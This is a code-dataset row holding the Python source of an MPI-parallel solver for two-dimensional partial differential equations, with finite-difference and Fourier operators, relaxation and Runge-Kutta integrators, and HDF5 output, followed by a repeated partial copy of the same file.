code stringlengths 2k 1.04M | repo_path stringlengths 5 517 | parsed_code stringlengths 0 1.04M | quality_prob float64 0.02 0.95 | learning_prob float64 0.02 0.93 |
|---|---|---|---|---|
from __future__ import division, print_function
import sys
import os
import time
import enum
import numpy as np
from mpi4py import MPI
import h5py
from .finite_differences import SOR_step, apply_operator
from scipy.fftpack import fft2, ifft2
def format_float(x, sigfigs=4, units=''):
"""Returns a string of the float f with a limited number of sig figs and a metric prefix"""
prefixes = { -24: u"y", -21: u"z", -18: u"a", -15: u"f", -12: u"p", -9: u"n", -6: u"u", -3: u"m",
0: u"", 3: u"k", 6: u"M", 9: u"G", 12: u"T", 15: u"P", 18: u"E", 21: u"Z", 24: u"Y" }
if np.isnan(x) or np.isinf(x):
return str(x)
if x != 0:
exponent = int(np.floor(np.log10(np.abs(x))))
# Only multiples of 10^3
exponent = int(np.floor(exponent / 3) * 3)
else:
exponent = 0
significand = x / 10 ** exponent
pre_decimal, post_decimal = divmod(significand, 1)
digits = sigfigs - len(str(int(pre_decimal)))
significand = round(significand, digits)
result = '%.0{}f'.format(digits) % significand
if exponent:
try:
# If our number has an SI prefix then use it
prefix = prefixes[exponent]
result += ' ' + prefix
except KeyError:
# Otherwise display in scientific notation
result += 'e' + str(exponent)
if units:
result += ' '
elif units:
result += ' '
return result + units
# Constants to represent differential operators.
class Operators(enum.IntEnum):
GRADX = 0
GRADY = 1
GRAD2X = 2
GRAD2Y = 3
class OperatorSum(dict):
"""Class for representing a weighted sum of operators. Supports
arithemetic operations, and coefficients can be numpy arrays for spatially
varying coefficients."""
# Tells numpy arrays to not try to use their arithmetic operations
# elementwise on us, instead they should defer to this class's arithmetic
# methods:
__array_priority__ = 1.0
def __add__(self, other):
new = OperatorSum(self)
for obj, coefficient in other.items():
new[obj] = new.get(obj, 0) + coefficient
return new
def __sub__(self, other):
new = OperatorSum(self)
for obj, coefficient in other.items():
new[obj] = new.get(obj, 0) - coefficient
return new
def __mul__(self, factor):
new = OperatorSum(self)
for obj, coefficient in new.items():
new[obj] = coefficient*factor
return new
def __div__(self, factor):
new = OperatorSum(self)
for obj, coefficient in new.items():
new[obj] = coefficient/factor
return new
__radd__ = __add__
__rsub__ = __sub__
__rmul__ = __mul__
__rdiv__ = __div__
# Objects representing operators, which can be added, subtracted etc from each
# other and multiplied by constants:
GRADX = OperatorSum({Operators.GRADX: np.ones((1, 1))})
GRADY = OperatorSum({Operators.GRADY: np.ones((1, 1))})
GRAD2X = OperatorSum({Operators.GRAD2X: np.ones((1, 1))})
GRAD2Y = OperatorSum({Operators.GRAD2Y: np.ones((1, 1))})
LAPLACIAN = GRAD2X + GRAD2Y
def get_factors(n):
"""return all the factors of n"""
factors = set()
for i in range(1, int(n**(0.5)) + 1):
if not n % i:
factors.update((i, n // i))
return factors
def get_best_2D_segmentation(size_x, size_y, N_segments):
"""Returns (best_n_segments_x, best_n_segments_y), describing the optimal
cartesian grid for splitting up a rectangle of size (size_x, size_y) into
N_segments equal sized segments such as to minimise surface area between
the segments."""
lowest_surface_area = None
for n_segments_x in get_factors(N_segments):
n_segments_y = N_segments // n_segments_x
surface_area = n_segments_x * size_y + n_segments_y * size_x
if lowest_surface_area is None or surface_area < lowest_surface_area:
lowest_surface_area = surface_area
best_n_segments_x, best_n_segments_y = n_segments_x, n_segments_y
return best_n_segments_x, best_n_segments_y
class Simulator2D(object):
def __init__(self, x_min_global, x_max_global, y_min_global, y_max_global, nx_global, ny_global,
periodic_x=False, periodic_y=False, operator_order=4):
"""A class for solving partial differential equations in two dimensions on
multiple cores using MPI"""
self.x_min_global = x_min_global
self.x_max_global = x_max_global
self.y_min_global = y_min_global
self.y_max_global = y_max_global
self.nx_global = nx_global
self.ny_global = ny_global
self.periodic_x = periodic_x
self.periodic_y = periodic_y
self.operator_order = operator_order
self.n_edge_pts = self.operator_order // 2
if not self.operator_order in [2, 4, 6]:
msg = "Only differential operators of order 2, 4, 6 supported."
raise ValueError(msg)
self.global_shape = (self.nx_global, self.ny_global)
self._setup_MPI_grid()
self.shape = (self.nx, self.ny)
self.dx = (self.x_max_global - self.x_min_global)/(self.nx_global - 1)
self.dy = (self.y_max_global - self.y_min_global)/(self.ny_global - 1)
self.x_min = self.x_min_global + self.dx * self.global_first_x_index
self.y_min = self.y_min_global + self.dy * self.global_first_y_index
self.x_max = self.x_min + self.dx * (self.nx - 1)
self.y_max = self.y_min + self.dy * (self.ny - 1)
self.x = np.linspace(self.x_min, self.x_max, self.nx).reshape((self.nx, 1))
self.y = np.linspace(self.y_min, self.y_max, self.ny).reshape((1, self.ny))
self.kx = self.ky = self.f_gradx = self.f_grady = self.f_grad2x = self.f_grad2y = self.f_laplacian = None
if self.MPI_size_x == 1:
# For FFTs, which can be done only on a single node in periodic directions:
if periodic_x:
self.kx = 2 * np.pi * np.fft.fftfreq(self.nx, d=self.dx).reshape((self.nx, 1))
# x derivative operator in Fourier space:
self.f_gradx = 1j*self.kx
self.f_grad2x = -self.kx**2
if periodic_y:
self.ky = 2 * np.pi * np.fft.fftfreq(self.ny, d=self.dy).reshape((1, self.ny))
# y derivative operator in Fourier space:
self.f_grady = 1j*self.ky
self.f_grad2y = -self.ky**2
if periodic_x and periodic_y:
# Laplace operator in Fourier space:
self.f_laplacian = self.f_grad2x + self.f_grad2y
def _setup_MPI_grid(self):
"""Split space up according to the number of MPI tasks. Set instance
attributes for spatial extent and number of points in this MPI task,
and create buffers and persistent communication requests for sending
data to adjacent processes"""
self.MPI_size = MPI.COMM_WORLD.Get_size()
self.MPI_size_x, self.MPI_size_y = get_best_2D_segmentation(self.nx_global, self.ny_global, self.MPI_size)
self.MPI_comm = MPI.COMM_WORLD.Create_cart([self.MPI_size_x, self.MPI_size_y],
periods=[self.periodic_x, self.periodic_y], reorder=True)
self.MPI_rank = self.MPI_comm.Get_rank()
self.MPI_x_coord, self.MPI_y_coord = self.MPI_comm.Get_coords(self.MPI_rank)
if self.MPI_x_coord > 0 or self.periodic_x:
self.MPI_rank_left = self.MPI_comm.Get_cart_rank((self.MPI_x_coord - 1, self.MPI_y_coord))
else:
self.MPI_rank_left = MPI.PROC_NULL
if self.MPI_x_coord < self.MPI_size_x -1 or self.periodic_x:
self.MPI_rank_right = self.MPI_comm.Get_cart_rank((self.MPI_x_coord + 1, self.MPI_y_coord))
else:
self.MPI_rank_right = MPI.PROC_NULL
if self.MPI_y_coord > 0 or self.periodic_y:
self.MPI_rank_down = self.MPI_comm.Get_cart_rank((self.MPI_x_coord, self.MPI_y_coord - 1))
else:
self.MPI_rank_down = MPI.PROC_NULL
if self.MPI_y_coord < self.MPI_size_y -1 or self.periodic_y:
self.MPI_rank_up = self.MPI_comm.Get_cart_rank((self.MPI_x_coord, self.MPI_y_coord + 1))
else:
self.MPI_rank_up = MPI.PROC_NULL
self.processor_name = MPI.Get_processor_name()
# Share out the points between processes in each direction:
self.nx, nx_remaining = divmod(self.nx_global, self.MPI_size_x)
if self.MPI_x_coord < nx_remaining:
# Give the remaining to the lowest ranked processes:
self.nx += 1
self.ny, ny_remaining = divmod(self.ny_global, self.MPI_size_y)
if self.MPI_y_coord < ny_remaining:
# Give the remaining to the lowest ranked processes:
self.ny += 1
# What are our coordinates in the global array?
self.global_first_x_index = self.nx * self.MPI_x_coord
# Be sure to count the extra points the lower ranked processes have:
if self.MPI_x_coord >= nx_remaining:
self.global_first_x_index += nx_remaining
self.global_first_y_index = self.ny * self.MPI_y_coord
# Be sure to count the extra points the lower ranked processes have:
if self.MPI_y_coord >= ny_remaining:
self.global_first_y_index += ny_remaining
# We need to tag our data to have a way other than rank to distinguish
# between multiple messages the two tasks might be sending each other
# at the same time:
TAG_LEFT_TO_RIGHT = 0
TAG_RIGHT_TO_LEFT = 1
TAG_DOWN_TO_UP = 2
TAG_UP_TO_DOWN = 3
# Buffers and MPI request objects for sending and receiving data to
# and from other processes. Sorted by whether the datatype is real or
# complex.
self.MPI_send_buffers = {}
self.MPI_receive_buffers = {}
self.MPI_requests = {}
for dtype in [np.float64, np.complex128]:
x_edge_shape = (self.n_edge_pts, self.ny)
y_edge_shape = (self.nx, self.n_edge_pts)
left_send_buffer = np.zeros(x_edge_shape, dtype=dtype)
left_receive_buffer = np.zeros(x_edge_shape, dtype=dtype)
right_send_buffer = np.zeros(x_edge_shape, dtype=dtype)
right_receive_buffer = np.zeros(x_edge_shape, dtype=dtype)
bottom_send_buffer = np.zeros(y_edge_shape, dtype=dtype)
bottom_receive_buffer = np.zeros(y_edge_shape, dtype=dtype)
top_send_buffer = np.zeros(y_edge_shape, dtype=dtype)
top_receive_buffer = np.zeros(y_edge_shape, dtype=dtype)
send_left = self.MPI_comm.Send_init(left_send_buffer, self.MPI_rank_left, tag=TAG_RIGHT_TO_LEFT)
send_right = self.MPI_comm.Send_init(right_send_buffer, self.MPI_rank_right, tag=TAG_LEFT_TO_RIGHT)
send_bottom = self.MPI_comm.Send_init(bottom_send_buffer, self.MPI_rank_down, tag=TAG_UP_TO_DOWN)
send_top = self.MPI_comm.Send_init(top_send_buffer, self.MPI_rank_up, tag=TAG_DOWN_TO_UP)
receive_left = self.MPI_comm.Recv_init(left_receive_buffer, self.MPI_rank_left, tag=TAG_LEFT_TO_RIGHT)
receive_right = self.MPI_comm.Recv_init(right_receive_buffer, self.MPI_rank_right, tag=TAG_RIGHT_TO_LEFT)
receive_bottom = self.MPI_comm.Recv_init(bottom_receive_buffer, self.MPI_rank_down, tag=TAG_DOWN_TO_UP)
receive_top = self.MPI_comm.Recv_init(top_receive_buffer, self.MPI_rank_up, tag=TAG_UP_TO_DOWN)
self.MPI_send_buffers[dtype] = (left_send_buffer, right_send_buffer, bottom_send_buffer, top_send_buffer)
self.MPI_receive_buffers[dtype] = (left_receive_buffer, right_receive_buffer,
bottom_receive_buffer, top_receive_buffer)
self.MPI_requests[dtype] = (send_left, send_right, send_bottom, send_top,
receive_left, receive_right, receive_bottom, receive_top)
self.pending_requests = None
def MPI_send_at_edges(self, psi):
"""Start an asynchronous MPI send data from the edges of psi to all
adjacent MPI processes."""
left_buffer, right_buffer, bottom_buffer, top_buffer = self.MPI_send_buffers[psi.dtype.type]
left_buffer[:] = psi[:self.n_edge_pts, :]
right_buffer[:] = psi[-self.n_edge_pts:, :]
bottom_buffer[:] = psi[:, :self.n_edge_pts]
top_buffer[:] = psi[:, -self.n_edge_pts:]
self.pending_requests = self.MPI_requests[psi.dtype.type]
MPI.Prequest.Startall(self.pending_requests)
def MPI_receive_at_edges(self):
"""Finalise an asynchronous MPI transfer from all adjacent MPI
processes. Data remains in the receive buffers and can be accessed by
the caller after this method returns."""
MPI.Prequest.Waitall(self.pending_requests)
self.pending_requests = None
def par_sum(self, psi):
"""Sum the given field over all MPI processes"""
local_sum = np.asarray(psi.sum())
result = np.zeros_like(local_sum)
self.MPI_comm.Allreduce(local_sum, result, MPI.SUM)
return result
def par_vdot(self, psi1, psi2):
""""Dots two vectors (with complex comjucation of the first) and sums
result over MPI processes"""
local_dot = np.asarray(np.vdot(psi1, psi2))
result = np.zeros_like(local_dot)
self.MPI_comm.Allreduce(local_dot, result, MPI.SUM)
return result
def par_operator_init(self, operator, psi, out=None):
self.MPI_send_at_edges(psi)
gradx_coeff = operator.get(Operators.GRADX, None)
grady_coeff = operator.get(Operators.GRADY, None)
grad2x_coeff = operator.get(Operators.GRAD2X, None)
grad2y_coeff = operator.get(Operators.GRAD2Y, None)
return apply_operator(psi, gradx_coeff, grady_coeff, grad2x_coeff, grad2y_coeff,
self.dx, self.dy, self.operator_order, out=out,
left_buffer=None, right_buffer=None,
bottom_buffer=None, top_buffer=None, interior=True, edges=False)
def par_operator_finalise(self, operator, psi, out):
gradx_coeff = operator.get(Operators.GRADX, None)
grady_coeff = operator.get(Operators.GRADY, None)
grad2x_coeff = operator.get(Operators.GRAD2X, None)
grad2y_coeff = operator.get(Operators.GRAD2Y, None)
left_buffer, right_buffer, bottom_buffer, top_buffer = self.MPI_receive_buffers[psi.dtype.type]
self.MPI_receive_at_edges()
return apply_operator(psi, gradx_coeff, grady_coeff, grad2x_coeff, grad2y_coeff,
self.dx, self.dy, self.operator_order, out=out,
left_buffer=left_buffer, right_buffer=right_buffer,
bottom_buffer=bottom_buffer, top_buffer=top_buffer, interior=False, edges=True)
def par_operator(self, operator, psi, out=None, use_ffts=False):
if use_ffts:
if out is not None:
raise ValueError("out parameter not supported for fft operators")
return self.apply_fourier_operator(operator, psi)
out = self.par_operator_init(operator, psi, out)
return self.par_operator_finalise(operator, psi, out)
def make_fourier_operator(self, operator):
"""If the operator is diagonal in the Fourier basis, return its
fourier representation as an array."""
gradx_coeff = operator.get(Operators.GRADX, None)
grady_coeff = operator.get(Operators.GRADY, None)
grad2x_coeff = operator.get(Operators.GRAD2X, None)
grad2y_coeff = operator.get(Operators.GRAD2Y, None)
if self.MPI_size > 1 or not (self.periodic_x and self.periodic_y):
msg = "FFTs can only be done on a single process with periodic boundary conditions"
raise ValueError(msg)
if any(op.shape != (1, 1) for op in operator.values()):
msg = ("FFTs cannot be used to evaluate operators with spatially varying coefficients, " +
"as they are not diagonal in the Fourier basis.")
raise ValueError(msg)
# Compute the operator in Fourier space:
f_operator = 0
if gradx_coeff is not None:
f_operator = f_operator + gradx_coeff * self.f_gradx
if grady_coeff is not None:
f_operator = f_operator + grady_coeff * self.f_grady
if grad2x_coeff is not None:
f_operator = f_operator + grad2x_coeff * self.f_grad2x
if grad2y_coeff is not None:
f_operator = f_operator + grad2y_coeff * self.f_grad2y
return f_operator
def apply_fourier_operator(self, operator, psi):
"""Applies an operator in the Fourier basis. If operator provided is
an OperatorSum, it is converted to the Fourier basis. If operator is
an array, it is assumed to already be the representation of the
operator in the Fourier basis."""
if isinstance(operator, OperatorSum):
operator = self.make_fourier_operator(operator)
elif not isinstance(operator, np.ndarray):
raise TypeError(operator)
result = ifft2(operator*fft2(psi))
if psi.dtype == np.float64:
result = result.real
return result
def _pre_step_checks(self, i, t, psi, output_interval, output_callback, post_step_callback, infodict, final_call=False):
if np.isnan(psi).any() or np.isinf(psi).any():
sys.stdout.write('It exploded :(\n')
# Call output funcs so user can see exactly when things went pear shaped:
if post_step_callback is not None:
post_step_callback(i, t, psi, infodict)
if output_callback is not None and output_interval is not None:
output_callback(i, t, psi, infodict)
raise RuntimeError('It exploded :(')
if post_step_callback is not None:
post_step_callback(i, t, psi, infodict)
output_callback_called = False
if output_callback is not None and output_interval is not None:
if np.iterable(output_interval):
if i in output_interval:
output_callback(i, t, psi, infodict)
output_callback_called = True
elif not i % output_interval:
output_callback(i, t, psi, infodict)
output_callback_called = True
if final_call and not output_callback_called:
output_callback(i, t, psi, infodict)
def successive_overrelaxation(self, system, psi, boundary_mask=None, relaxation_parameter=1.7, convergence=1e-13,
output_interval=100, output_callback=None, post_step_callback=None,
convergence_check_interval=10):
"""Solve a system of equations A*psi=b using sucessive overrelaxation.
The provided function for the system of equations should accept psi
and return the diagonal part of A as an array, the non-diagonal part
of A as an OperatorSum instance, and b as an array. This function
requires an initial guess for psi, and optionally takes a boolean
array boundary_mask, which specifies which region is in-bounds for the
problem. Any points not selected by the mask will not be evolved, and
as such the initial-guess value of psi there serves as boundary conditions."""
i = 0
start_time = time.time()
convergence_calc = np.nan
if boundary_mask is not None:
boundary_mask = np.array(boundary_mask, dtype=np.uint8)
while True:
time_per_step = (time.time() - start_time)/i if i else np.nan
infodict = {"convergence": convergence_calc, 'time per step': time_per_step}
self._pre_step_checks(i, 0, psi, output_interval, output_callback, post_step_callback, infodict)
self.MPI_send_at_edges(psi)
A_diag, A_nondiag, b = system(psi)
if not i % convergence_check_interval:
# Only compute the error every convergence_check_interval steps to save time
compute_error=True
integral_b = self.par_vdot(b, b).real
else:
compute_error = False
gradx_coeff = A_nondiag.get(Operators.GRADX, None)
grady_coeff = A_nondiag.get(Operators.GRADY, None)
grad2x_coeff = A_nondiag.get(Operators.GRAD2X, None)
grad2y_coeff = A_nondiag.get(Operators.GRAD2Y, None)
squared_error = SOR_step(psi, A_diag, gradx_coeff, grady_coeff, grad2x_coeff, grad2y_coeff, b,
self.dx, self.dy, relaxation_parameter, self.operator_order,
interior=True, edges=False, boundary_mask=boundary_mask)
self.MPI_receive_at_edges()
left_buffer, right_buffer, bottom_buffer, top_buffer = self.MPI_receive_buffers[psi.dtype.type]
squared_error = SOR_step(psi, A_diag, gradx_coeff, grady_coeff, grad2x_coeff, grad2y_coeff, b,
self.dx, self.dy, relaxation_parameter, self.operator_order,
left_buffer, right_buffer, bottom_buffer, top_buffer,
squared_error=squared_error, interior=False, edges=True,
boundary_mask=boundary_mask)
if compute_error:
squared_error = np.asarray(squared_error).reshape(1)
total_squared_error = np.zeros(1)
self.MPI_comm.Allreduce(squared_error, total_squared_error, MPI.SUM)
convergence_calc = np.sqrt(total_squared_error[0]/integral_b)
if convergence_calc < convergence:
break
i += 1
time_per_step = (time.time() - start_time)/i if i else np.nan
infodict = {"convergence": convergence_calc, 'time per step': time_per_step}
self._pre_step_checks(i, 0, psi, output_interval, output_callback, post_step_callback, infodict, final_call=True)
def _evolve(self, dt, t_final, psi, integration_step_func,
output_interval, output_callback, post_step_callback, estimate_error, method_order):
"""common loop for time integration"""
t = 0
i = 0
step_error = 0
error_check_substep = None
start_time = time.time()
# The number of substeps we take depends on the order of the method.
# We do whatever we epxect to reduce the error by a factor of 16:
n_errcheck_substeps = int(np.ceil(16**(1.0/method_order)))
while t < t_final or error_check_substep is not None:
# The step before output is to occur, take n_errcheck_substeps
# steps of size dt/n_errcheck_substeps, then step over the same
# interval with a size of dt, and compare the solutions for an
# estimate of the per-step error.
if estimate_error and output_interval is not None:
if error_check_substep is None:
# Do we need to do an error checking step?
if np.iterable(output_interval):
if (i + 1) in output_interval:
error_check_substep = 0
elif not (i +1) % output_interval:
error_check_substep = 0
if error_check_substep == 0:
# Save the wavefunction and actual timestep before setting
# dt to one fifth its value:
psi_pre_errorcheck = psi.copy()
dt_unmodified = dt
dt = dt/n_errcheck_substeps
if error_check_substep == n_errcheck_substeps:
# Ok, we've done our five small steps. Save the resulting wavefunction:
psi_accurate = psi.copy()
# Restore the wavefunction and dt:
psi[:] = psi_pre_errorcheck
dt = dt_unmodified
if error_check_substep == n_errcheck_substeps + 1:
# Ok, we've completed the normal sized step. Compare wavefunctions:
sum_squared_error = self.par_sum(np.abs(psi - psi_accurate)**2)
psi_norm = self.par_vdot(psi_accurate, psi_accurate).real
step_error = np.sqrt(sum_squared_error/psi_norm)
# Finished checking error.
error_check_substep = None
# The missed increment of i from the normal sized
# timestep. This i should trigger output at the next call
# to _pre_step_checks:
i += 1
time_per_step = (time.time() - start_time)/i if i else np.nan
infodict = {'time per step': time_per_step, 'step error': step_error}
if error_check_substep is None:
self._pre_step_checks(i, t, psi, output_interval, output_callback, post_step_callback, infodict)
# The actual integration step:
integration_step_func(t, dt, psi)
t += dt
if error_check_substep is not None:
error_check_substep += 1
else:
i += 1
# Ensure we output at the end:
time_per_step = (time.time() - start_time)/i if i else np.nan
infodict = {'time per step': time_per_step, 'step error': step_error}
self._pre_step_checks(i, t, psi, output_interval, output_callback, post_step_callback, infodict, final_call=True)
def rk4(self, dt, t_final, dpsi_dt, psi,
output_interval=100, output_callback=None, post_step_callback=None, estimate_error=False):
"""Fourth order Runge-Kutta. dpsi_dt should return an array for the time derivatives of psi."""
def rk4_step(t, dt, psi):
k1 = dpsi_dt(t, psi)
k2 = dpsi_dt(t + 0.5*dt, psi + 0.5*k1*dt)
k3 = dpsi_dt(t + 0.5*dt, psi + 0.5*k2*dt)
k4 = dpsi_dt(t + dt, psi + k3*dt)
psi[:] += dt/6*(k1 + 2*k2 + 2*k3 + k4)
self._evolve(dt, t_final, psi, rk4_step,
output_interval, output_callback, post_step_callback, estimate_error, method_order=4)
def rk4ilip(self, dt, t_final, dpsi_dt, psi, omega_imag_provided=False,
output_interval=100, output_callback=None, post_step_callback=None, estimate_error=False):
"""Fourth order Runge-Kutta in an instantaneous local interaction picture.
dpsi_dt should return both the derivative of psi, and an array omega,
which is H_local/hbar at each point in space (Note that H_local should not
be excluded from the calculation of dpsi_dt). If omega is purely
imaginary, you can instead return the omega_imag comprising its imaginary
part, in which case you should set omega_imag_provided to True. This means
real arrays can be used for arithmetic instead of complex ones, which is
faster."""
def rk4ilip_step(t, dt, psi):
if omega_imag_provided:
# Omega is purely imaginary, and so omega_imag has been provided
# instead so real arithmetic can be used:
f1, omega_imag = dpsi_dt(t, psi)
i_omega = -omega_imag
# Have to take abs(dt) here in case we are taking a backward step (dt < 0):
i_omega_clipped = i_omega.clip(-400/abs(dt), 400/abs(dt))
U_half = np.exp(i_omega_clipped*0.5*dt)
else:
f1, omega = dpsi_dt(t, psi)
i_omega = 1j*omega
if omega.dtype == np.float64:
theta = omega*0.5*dt
U_half = np.cos(theta) + 1j*np.sin(theta) # faster than np.exp(1j*theta) when theta is real
else:
i_omega_clipped = i_omega.real.clip(-400/abs(dt), 400/abs(dt)) + 1j*i_omega.imag
U_half = np.exp(1j*i_omega_clipped*0.5*dt)
U_full = U_half**2
U_dagger_half = 1/U_half
U_dagger_full = 1/U_full
k1 = f1 + i_omega*psi
phi_1 = psi + 0.5*k1*dt
psi_1 = U_dagger_half*phi_1
f2, _ = dpsi_dt(t + 0.5*dt, psi_1)
k2 = U_half*f2 + i_omega*phi_1
phi_2 = psi + 0.5*k2*dt
psi_2 = U_dagger_half*phi_2
f3, _ = dpsi_dt(t + 0.5*dt, psi_2)
k3 = U_half*f3 + i_omega*phi_2
phi_3 = psi + k3*dt
psi_3 = U_dagger_full*phi_3
f4, _ = dpsi_dt(t + dt, psi_3)
k4 = U_full*f4 + i_omega*phi_3
phi_4 = psi + dt/6*(k1 + 2*k2 + 2*k3 + k4)
psi[:] = U_dagger_full*phi_4
self._evolve(dt, t_final, psi, rk4ilip_step,
output_interval, output_callback, post_step_callback, estimate_error, method_order=4)
def split_step(self, dt, t_final, nonlocal_operator, local_operator, psi,
output_interval=100, output_callback=None, post_step_callback=None,
estimate_error=False, method_order=2):
"""Split step method. Nonlocal_operator is an operator diagonal in
Fourier space. It can be either an OperatorSum instance if it is just
a sum of differential operators, or can be given as an array
representing the operator's diagonals in the Fourier basis."""
if isinstance(nonlocal_operator, OperatorSum):
fourier_operator = self.make_fourier_operator(nonlocal_operator)
elif isinstance(nonlocal_operator, np.ndarray):
fourier_operator = nonlocal_operator
else:
msg = "nonlocal_operator must be OperatorSum instance or array"
raise TypeError(msg)
# We cache these for different timestep sizes:
fourier_unitaries = {}
def U(dt, psi):
try:
unitary = fourier_unitaries[dt]
except KeyError:
unitary = np.exp(dt*fourier_operator)
fourier_unitaries[dt] = unitary
return self.apply_fourier_operator(unitary, psi)
# The same operator is used at the end of one step as at the beginning
# of the next (if they have the same dt), so we cache it:
cached_local_unitary = {0: (None, None, None)}
def split_step_2nd_order_step(t, dt, psi):
previous_t, previous_dt, previous_local_unitary = cached_local_unitary[0]
if previous_t == t and previous_dt == dt:
local_unitary = previous_local_unitary
else:
local_unitary = np.exp(0.5*dt*local_operator(t, psi))
# Real space half step:
psi[:] *= local_unitary
# Fourier space step:
psi[:] = U(dt, psi)
# Real space half step:
local_unitary = np.exp(0.5*dt*local_operator(t+dt, psi))
cached_local_unitary[0] = (t+dt, dt, local_unitary)
psi[:] *= local_unitary
def split_step_4nd_order_step(t, dt, psi):
p = 1/(4 - 4**(1.0/3.0))
for subdt in [p * dt, p * dt, (1 - 4*p) * dt, p * dt, p * dt]:
split_step_2nd_order_step(t, subdt, psi)
t += subdt
if method_order == 2:
step_func = split_step_2nd_order_step
elif method_order == 4:
step_func = split_step_4nd_order_step
else:
msg = "method_order must be 2 or 4, not %s" % str(method_order)
raise ValueError(msg)
self._evolve(dt, t_final, psi, step_func,
output_interval, output_callback, post_step_callback,
estimate_error, method_order=method_order)
def rk4ip(self, dt, t_final, nonlocal_operator, local_operator, psi,
output_interval=100, output_callback=None, post_step_callback=None, estimate_error=False):
"""Fourth order Runge-Kutta in the interaction picture. Uses an
interaction picture based on an operator diagonal in Fourier space,
which should be passed in as nonlocal_operator. It can be either an
OperatorSum instance if it is just a sum of differential operators, or
can be given as an array representing the operator's diagonals in the
Fourier basis. The rest of the equation is solved based on an operator
diagonal in real space, which the function local_operator should
return."""
if isinstance(nonlocal_operator, OperatorSum):
fourier_operator = self.make_fourier_operator(nonlocal_operator)
elif isinstance(nonlocal_operator, np.ndarray):
fourier_operator = nonlocal_operator
else:
msg = "nonlocal_operator must be OperatorSum instance or array"
raise TypeError(msg)
# We cache these for different timestep sizes:
fourier_unitaries = {}
def G(t, psi):
return local_operator(t, psi)*psi
def U(dt, psi):
try:
unitary = fourier_unitaries[dt]
except KeyError:
unitary = np.exp(0.5*dt*fourier_operator)
fourier_unitaries[dt] = unitary
return self.apply_fourier_operator(unitary, psi)
def rk4ip_step(t, dt, psi):
"""The propagator for one step of the RK4IP method"""
psi_I = U(dt, psi)
k1 = U(dt, G(t, psi))
k2 = G(t + 0.5*dt, psi_I + 0.5*dt*k1)
k3 = G(t + 0.5*dt, psi_I + 0.5*dt*k2)
k4 = G(t + dt, U(dt, psi_I + dt*k3))
psi[:] = U(dt, psi_I + dt/6. * (k1 + 2*k2 + 2*k3)) + dt/6.*k4
self._evolve(dt, t_final, psi, rk4ip_step,
output_interval, output_callback, post_step_callback, estimate_error, method_order=4)
class HDFOutput(object):
def __init__(self, simulator, output_dir, flush_output=True):
self.simulator = simulator
self.output_dir = output_dir
self.flush_output=flush_output
if not simulator.MPI_rank and not os.path.isdir(self.output_dir):
os.mkdir(self.output_dir)
self.basename = str(simulator.MPI_rank).zfill(len(str(simulator.MPI_size))) + '.h5'
self.filepath = os.path.join(self.output_dir, self.basename)
# Ensure output folder exists before other processes continue:
simulator.MPI_comm.Barrier()
self.file = h5py.File(self.filepath, 'w')
self.file.attrs['x_min_global'] = simulator.x_min_global
self.file.attrs['x_max_global'] = simulator.x_max_global
self.file.attrs['y_min_global'] = simulator.y_min_global
self.file.attrs['y_max_global'] = simulator.y_max_global
self.file.attrs['nx_global'] = simulator.nx_global
self.file.attrs['ny_global'] = simulator.ny_global
self.file.attrs['global_shape'] = simulator.global_shape
geometry_dtype = [('rank', int),
('processor_name', 'a256'),
('x_cart_coord', int),
('y_cart_coord', int),
('first_x_index', int),
('first_y_index', int),
('nx', int),
('ny', int)]
MPI_geometry_dset = self.file.create_dataset('MPI_geometry', shape=(1,), dtype=geometry_dtype)
MPI_geometry_dset.attrs['MPI_size'] = simulator.MPI_size
data = (simulator.MPI_rank, simulator.processor_name, simulator.MPI_x_coord, simulator.MPI_y_coord,
simulator.global_first_x_index, simulator.global_first_y_index, simulator.nx, simulator.ny)
MPI_geometry_dset[0] = data
def save(self, psi, output_log_data, flush=True):
if not 'psi' in self.file:
self.file.create_dataset('psi', (0,) + psi.shape[:-2] + self.simulator.shape,
maxshape=(None,) + psi.shape[:-2] + self.simulator.shape,
dtype=psi.dtype)
if not 'output_log' in self.file:
self.file.create_dataset('output_log', (0,), maxshape=(None,), dtype=output_log_data.dtype)
output_log_dataset = self.file['output_log']
output_log_dataset.resize((len(output_log_dataset) + 1,))
output_log_dataset[-1] = output_log_data
psi_dataset = self.file['psi']
psi_dataset.resize((len(psi_dataset) + 1,) + psi_dataset.shape[1:])
psi_dataset[-1] = psi
if self.flush_output:
self.file.flush()
@staticmethod
def iterframes(directory, start=0, end=None, step=1, frames=None):
with h5py.File(os.path.join(directory, '0.h5'), 'r') as master_file:
MPI_size = master_file['MPI_geometry'].attrs['MPI_size']
global_shape = master_file.attrs['global_shape']
psi_other_dims = master_file['psi'].shape[1:-2]
dtype = master_file['psi'].dtype
psi_global_shape = tuple(psi_other_dims) + tuple(global_shape)
if end is None:
end = len(master_file['psi'])
files = []
for rank in range(MPI_size):
basename = str(rank).zfill(len(str(MPI_size))) + '.h5'
f = h5py.File(os.path.join(directory, basename), 'r')
psi_dataset = f['psi']
start_x = f['MPI_geometry']['first_x_index'][0]
start_y = f['MPI_geometry']['first_y_index'][0]
nx = f['MPI_geometry']['nx'][0]
ny = f['MPI_geometry']['ny'][0]
files.append((f, psi_dataset, start_x, start_y, nx, ny))
for i in frames if frames is not None else range(start, end, step):
psi = np.zeros(psi_global_shape, dtype=dtype)
for f, psi_dataset, start_x, start_y, nx, ny in files:
psi[..., start_x:start_x + nx, start_y:start_y + ny] = psi_dataset[i]
yield i, psi | parPDE/parPDE.py | from __future__ import division, print_function
import sys
import os
import time
import enum
import numpy as np
from mpi4py import MPI
import h5py
from .finite_differences import SOR_step, apply_operator
from scipy.fftpack import fft2, ifft2
def format_float(x, sigfigs=4, units=''):
"""Returns a string of the float f with a limited number of sig figs and a metric prefix"""
prefixes = { -24: u"y", -21: u"z", -18: u"a", -15: u"f", -12: u"p", -9: u"n", -6: u"u", -3: u"m",
0: u"", 3: u"k", 6: u"M", 9: u"G", 12: u"T", 15: u"P", 18: u"E", 21: u"Z", 24: u"Y" }
if np.isnan(x) or np.isinf(x):
return str(x)
if x != 0:
exponent = int(np.floor(np.log10(np.abs(x))))
# Only multiples of 10^3
exponent = int(np.floor(exponent / 3) * 3)
else:
exponent = 0
significand = x / 10 ** exponent
pre_decimal, post_decimal = divmod(significand, 1)
digits = sigfigs - len(str(int(pre_decimal)))
significand = round(significand, digits)
result = '%.0{}f'.format(digits) % significand
if exponent:
try:
# If our number has an SI prefix then use it
prefix = prefixes[exponent]
result += ' ' + prefix
except KeyError:
# Otherwise display in scientific notation
result += 'e' + str(exponent)
if units:
result += ' '
elif units:
result += ' '
return result + units
# Constants to represent differential operators.
class Operators(enum.IntEnum):
GRADX = 0
GRADY = 1
GRAD2X = 2
